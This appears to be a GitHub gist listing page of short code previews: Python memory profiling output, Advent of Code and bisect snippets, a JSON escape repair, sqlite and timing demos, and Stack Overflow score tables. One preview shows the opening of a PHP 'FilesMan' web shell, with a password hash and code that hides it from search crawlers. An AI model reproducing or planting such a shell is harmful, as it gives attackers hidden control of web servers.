Skip to content

Instantly share code, notes, and snippets.

# Python 2.7.13 build with pytracemalloc patches applied.
$ python27_tracemalloc test-pickle-tracemalloc.py
Python version info: 2.7.13 (default, Jun 25 2018, 22:08:02)
[GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.2)]
Baseline (Tot: 0.0 MiB, Inc: 0.0 MiB)
Data created (Tot: 200.0 MiB, Inc: 200.0 MiB)
Pickle dumped (Tot: 246.0 MiB, Inc: 46.0 MiB)
$ python27_tracemalloc test-pickle-tracemalloc.py load
Python version info: 2.7.13 (default, Jun 25 2018, 22:08:02)
[GCC 4.2.1 Compatible Apple LLVM 9.1.0 (clang-902.0.39.2)]
@mjpieters
mjpieters / advent06.py
Last active December 23, 2015 18:14
Advent of Code fun
# Having fun with http://adventofcode.com/day/6 Advent of Code
import re
from itertools import product
from collections import defaultdict
try:
from PIL import Image
except ImportError:
>>> import re
>>> invalid_escape = re.compile(r'\\([1-3][0-7]{2}|[1-7][0-7]?)') # octal digits from 1 up to FF
>>> def replace_with_codepoint(match):
... return chr(int(match.group(0)[1:], 8))
...
>>> def repair(brokenjson):
... return invalid_escape.sub(replace_with_codepoint, brokenjson)
...
>>> sample = '{"destination":"Provence-Alpes-C\\303\\264te d\'Azur"}'
>>> repair(sample)

Keybase proof

I hereby claim:

  • I am mjpieters on github.
  • I am zopatista (https://keybase.io/zopatista) on keybase.
  • I have a public key whose fingerprint is 7037 7A88 E2D5 5007 728F DC81 DF16 A3D8 63AF 80FD

To claim this, I am signing this object:

from bisect import bisect_left, bisect_right
def ani(arr, a, b):
arr.sort()
return sum(
bisect_right(arr, b - x, lo) - bisect_left(arr, a - x, lo)
for lo, x in enumerate(arr, 1))
$auth_pass = "59ec7b5aee2b1838eeb94b2268a1e685";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
>>> import sqlite3
>>> conn = sqlite3.connect(':memory:')
>>> cursor = conn.cursor()
>>> cursor.execute('CREATE TABLE demo (foo PRIMARY KEY, bar INTEGER, spam TEXT, eggs INTEGER NOT NULL DEFAULT 0)')
<sqlite3.Cursor object at 0x1048c43b0>
>>> cursor.execute('PRAGMA table_info(demo)')
<sqlite3.Cursor object at 0x1048c43b0>
>>> [r[1] for r in cursor]
[u'foo', u'bar', u'spam', u'eggs']
In [1]: from random import randint
In [2]: lines = [randint(0, 42) for _ in range(10000)]
In [3]: %%timeit
...: for _ in lines[::-1]: pass
...:
10000 loops, best of 3: 149 µs per loop
In [4]: %%timeit
@mjpieters
mjpieters / 4 elements, 1 if
Last active August 29, 2015 14:04
Literal comparisons
$ bin/python test.py 4 1
-------------------------
Configuration:
Number of elements to check against: 4
Number of if statements: 1
-------------------------
Concatenated boolean operators
0.1044412124203518
List
0.06876948488876224
@mjpieters
mjpieters / peranswer_score.txt
Last active October 10, 2016 15:23
Top Stack Overflow users by tag score
User scores for the top 100 tags sorted on average per-answer score (users with 1000 or more answers only)
NAME TAG SCORE COUNT AVERAGE NORM WEIGHTED
1 CMS javascript 24985 1215 20.56 0.0314 38.1401
2 Eric Lippert c# 44175 2571 17.18 0.0581 149.2803
3 polygenelubricants java 12396 1024 12.11 0.0154 15.7527
4 Mehrdad Afshari c# 11975 1018 11.76 0.0157 16.0231
5 Johannes Schaub - litb c++ 21543 2002 10.76 0.0614 122.9951
6 Dave DeLong objective-c 12198 1254 9.73 0.0555 69.6445
7 Jon Skeet .net 47874 5065 9.45 0.2338 1184.0163